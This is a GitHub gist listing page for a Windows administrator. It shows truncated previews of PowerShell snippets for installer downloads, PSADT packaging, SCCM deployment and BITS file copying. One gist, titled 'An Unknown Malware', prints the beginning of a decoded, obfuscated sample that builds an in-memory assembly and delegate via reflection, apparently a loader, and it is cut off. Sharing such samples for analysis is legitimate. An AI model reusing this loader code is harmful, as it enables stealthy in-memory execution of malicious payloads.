Skip to content

Instantly share code, notes, and snippets.

@NathanTheGr8
NathanTheGr8 / Get-AdobeFlashMsi.ps1
Last active September 23, 2018 01:29 — forked from jasonadsit/Get-AdobeFlashMsi.ps1
Get-AdobeFlashMsi.ps1
#Requires -Version 2
function Get-AdobeFlashMsi {
[CmdletBinding()]
param (
[string]
$Destination = $(Join-Path -Path $env:USERPROFILE -ChildPath 'Downloads' )
# Configure Domain to scrape
$Domain = "https://notepad-plus-plus.org"
$AppendToDomain = "/download"
# build URL to scan
$SiteToScan = $Domain + $AppendToDomain
# Scan URL to download file
$url32 = ((Invoke-WebRequest -uri $SiteToScan).links | Where innerHTML -like “*Notepad++ Installer 32-bit*”).href
$url64 = ((Invoke-WebRequest -uri $SiteToScan).links | Where innerHTML -like “*Notepad++ Installer 64-bit*”).href
@NathanTheGr8
NathanTheGr8 / Get-PSADTAppVersion.ps1
Last active July 24, 2020 13:54
Get-PSADTAppVersion
function Get-PSADTAppVersion {
<#
.SYNOPSIS
Gets the $appversion varible for a given PSADT package
.DESCRIPTION
Gets the $appversion varible for a given PSADT package
Queries the Deploy-Application.ps1 file for "appversion"
Takes the first string returned. I don't care about other occerences in the file
Converts it to a string
@NathanTheGr8
NathanTheGr8 / decoded_original.ps1
Created August 6, 2018 15:01
An Unknown Malware
$SEf8caWj = "HKLM:\Software\Microsoft\Windows\CurrentVersion\Shell";$lZ7VgLztH = "{4FF23B38-C5A1-5CBE-F25D458E1F8C5642}";function ogbehJFrvi{Param([OutputType([Type])][Parameter( Position = 0)][Type[]]$jbvI6kAQ = (New-Object Type[](0)),[Parameter( Position = 1 )][Type]$TnlpqF = [Void])$SDaRf4 = [AppDomain]::CurrentDomain;$gV2cj6vD = New-Object System.Reflection.AssemblyName('ReflectedDelegate');$koQPMj5 = $SDaRf4.DefineDynamicAssembly($gV2cj6vD, [System.Reflection.Emit.AssemblyBuilderAccess]::Run);$mQQYfW = $koQPMj5.DefineDynamicModule('InMemoryModule', $false);$OSepm3U = $mQQYfW.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]);$GetNMD0W = $OSepm3U.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $jbvI6kAQ);$GetNMD0W.SetImplementationFlags('Runtime, Managed');$KBBPUUP = $OSepm3U.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $TnlpqF, $jbvI6kAQ);$KBBPUUP.SetImplementationFlags('Runtime,
@NathanTheGr8
NathanTheGr8 / Example_App.exe.manifest
Created June 26, 2018 16:07 — forked from leeramsay/PSADT-Cheatsheet.ps1
PSADT snippits/cheatsheet
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assemblyIdentity version="1.0.0.0"
processorArchitecture="X86"
name="Example_App.exe"
type="win32"/>
<description>elevate execution level</description>
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
<security>
<requestedPrivileges>
function Schedule-SCCMPackageDeployment
{
<#
.SYNOPSIS
.DESCRIPTION
requires \\spivsccm01\packages mounted as p Drive
.PARAMETER App
############################
### CDOLLA CDOLLA CDOLLA ###
### CDOLLA CDOLLA CDOLLA ###
### CDOLLA CDOLLA CDOLLA ###
### CDOLLA CDOLLA CDOLLA ###
############################
###
###
function Select-Nth {
<#
.SYNOPSIS
Seletc the Nth element in an array
.DESCRIPTION
Selects the Nth Element in an array. Like the 3rd, 5th, 98th, etc
.PARAMETER N
The Nth element you want to select
function Copy-ItemWithBITS {
<#
.SYNOPSIS
Copy-Item using the BITS protocol
.DESCRIPTION
Works like the copy-item cmdlet but uses the Background Intelligent Transfer Service (BITS) protocol
.PARAMETER Source
The Path to the file/directory you want to transfer
.PARAMETER Destination
The path to where you want to transfer to
@NathanTheGr8
NathanTheGr8 / Manifest.psm1
Created August 25, 2017 20:02 — forked from Jaykul/Manifest.psm1
Update Module Version ... or anything else
function Update-Manifest {
#.Synopsis
# Update a PowerShell module manifest
#.Description
# By default Update-Manifest increments the ModuleVersion, but it can set any key in the Module Manifest, its PrivateData, or the PSData in PrivateData.
#
# NOTE: This cannot currently create new keys, or uncomment keys.
#.Example
# Update-Manifest .\Configuration.psd1
#